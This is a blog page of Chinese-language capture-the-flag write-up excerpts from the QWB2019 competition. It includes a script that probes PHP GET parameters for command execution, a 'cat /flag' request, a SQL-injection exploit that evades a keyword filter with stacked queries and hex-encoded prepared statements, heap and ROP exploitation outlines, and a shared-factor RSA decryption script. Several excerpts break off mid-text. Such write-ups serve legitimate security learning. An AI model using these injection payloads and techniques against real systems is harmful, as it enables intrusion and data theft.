Category - QWB2019

其实很简单,将每个php文件里的$_GET参数提取出来逐个爆破就行了。
find.py:

  1. #!/usr/bin/env python3
  2. import requests
  3. import os
  4. import re
  5. url = 'http://localhost/src/'
  6. ptn = re.compile(br"\$_GET\['(\w+)'\]")
  7. ptn1 = re.compile(br'>>> (\w+) !!!')
  8. i = 0
  9. for f in list(os.scandir('/var/www/html/src'))[::-1]:
  10. i += 1
  11. print(i, end='\r')
  12. with open(f.path, 'rb') as fp:
  13. data = fp.read()
  14. for get in set(ptn.findall(data)):
  15. get = get.decode('ascii')
  16. cmd = 'echo ">>> %s !!!";' % get
  17. r = requests.get(url + f.name, params={get: cmd})
  18. if ptn1.search(r.content) is not None:
  19. print()
  20. print(f.name, get)
  21. exit()

title
get flag:
/xk0SzyKwfzw.php?Efa5BVG=cat /flag

算是这次比赛比较有意思的一题,虽然提供了tcache这种较低利用难度的机制,但是程序本身的防护限制导致利用起来异常困难。 比赛到最后的时候已经泄露出了stack地址,但是脑子一下没转过弯来,差了最后写onegadget的临门一脚。 ## 程序分析 ![](https://leanote.com/api/file/getImage?fileId=5ceb9bd5ab644130190024df)
1、程序为32位: ```bash $file JustRe.exe JustRe.exe: PE32 executable (console) Intel 80386, for MS Windows ``` 2、程序主要逻辑: 输入为26个字符,过两个check即可得到flag: ![ti
1. 送分题,Change有个很明显的堆溢出,还贴心的在堆上放了puts函数的地址。 2. Get两次,利用第一个堆溢出到第二个的puts函数指针前,打印,即可获得puts地址 3. 再次利用第一个的堆溢出,修改puts为one_gadget,调用puts即可getshell ![](https://leanote.com/api/file/getImage?fileId=5ceb4b89ab6
1. 还是单选问题,不过有两种结构体,一种存str,一种存int。 ```c struct intNode{ void * vtable; char hash[16]; int64 size; int64 *content; } struct strNode{ void * vtable; char hash[16]; int64 size
wasm的题目。 1. 利用GitHub上的wabt可以将他反编译成c源码,不过可读性较差,再次编译一下(不能编译成可执行文件,只能编译成目标文件.o),用ida查看就可以静态调试了。 2. 在本地用python开一个http服务,chrome访问,就可以动态调试了。 3. ida可以看到,main函数是f16函数,其中只调用了f54和f15。 4. 动态调试可知,f54为输入函数,f15是ch

openwrt,MIPSEL架构,给了fs和内核,挂载fs提取固件程序/bin/hello,命令:mkdir load && mount -t ext4 -o loop  openwrt-malta-le-root.ext4 load

用retdec反编译,整理程序逻辑,主函数的大概逻辑如下:

int main(int argc, char ** argv) {
    ...
    puts("welcome to qwb2019");
    puts("user_name: ");
    int32_t username = &v1; // 0x40056c
    scanf("%s", username);
    puts("user_pass: ");
    int32_t pwd = &v3; // 0x40058c
    scanf("%s", pwd);
    int32_t buf = malloc(80); // 0x400594
    *buf = *username;
    *(buf + 4) = *(username + 4);
    *(buf + 8) = *(username + 8);
    *(buf + 12) = *(username + 12);
    int32_t v7 = username + 16; // 0x4005cc
    int32_t v8 = buf + 16; // 0x4005d0
    buf = v8;
    ...
    if (check(buf, v14, v11, v10) == 0) {
        // 0x400640
        puts_rc = puts("\nno");
        // branch -> 0x40064c
    } else {
        // 0x400660
        puts("\nyes");
        puts_rc = printf("flag{%.5s%.32s}\n\n", buf, v9);  //user+pass
        // branch -> 0x40064c
    }
    // 0x40064c
    return puts_rc;
}

需要输入用户名和

简单栈溢出,但是输入在程序参数处,而且没有交互shell,所以要不就反弹shell,要不就直接读取flag了。 找到两条比较神奇的gadget可以直接往got上加偏移,不需要任何泄露,可以把__libc_start_main的got表项改成mprotect,接着就能做rop解开bss的执行权限了。 输入的shellcode decode以后会出现在bss段,位置都是固定的可以直接跳,问题就是

过滤了select
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);
有堆叠查询
/?inject=1';show databases;show tables;%23
title
过滤了set和prepare,但只要大写就能绕过。
strstr($inject, "set") && strstr($inject, "prepare")

exp.py:

  1. #coding=utf-8
  2. import requests
  3. #1919810931114514
  4. part_url='http://49.4.66.242:31368/?inject='
  5. payload="select flag from `1919810931114514`;"
  6. payload=payload.encode('hex')
  7. payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23'''
  8. print payload
  9. full_url=part_url+payload
  10. r=requests.get(url=full_url)
  11. print r.content

title

题目给出两对 RSA 明密文,其中两个 n 使用了相同的 q(即 q 是两者的公因数)。首先通过辗转相除法求出公因数 q,从而求出 p。已知 p 和 q,就能求出密钥d,解出密文。

解密脚本如下:

  1. from Crypto.Util.number import long_to_bytes, inverse
  2. n1 = 14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727
  3. n2 = 1462466262872582061862237080394863085409468781433833482746287035758279529184492527469025360491953578593420808182542554153605755022704839983724339249076216773
    Page 1 of 2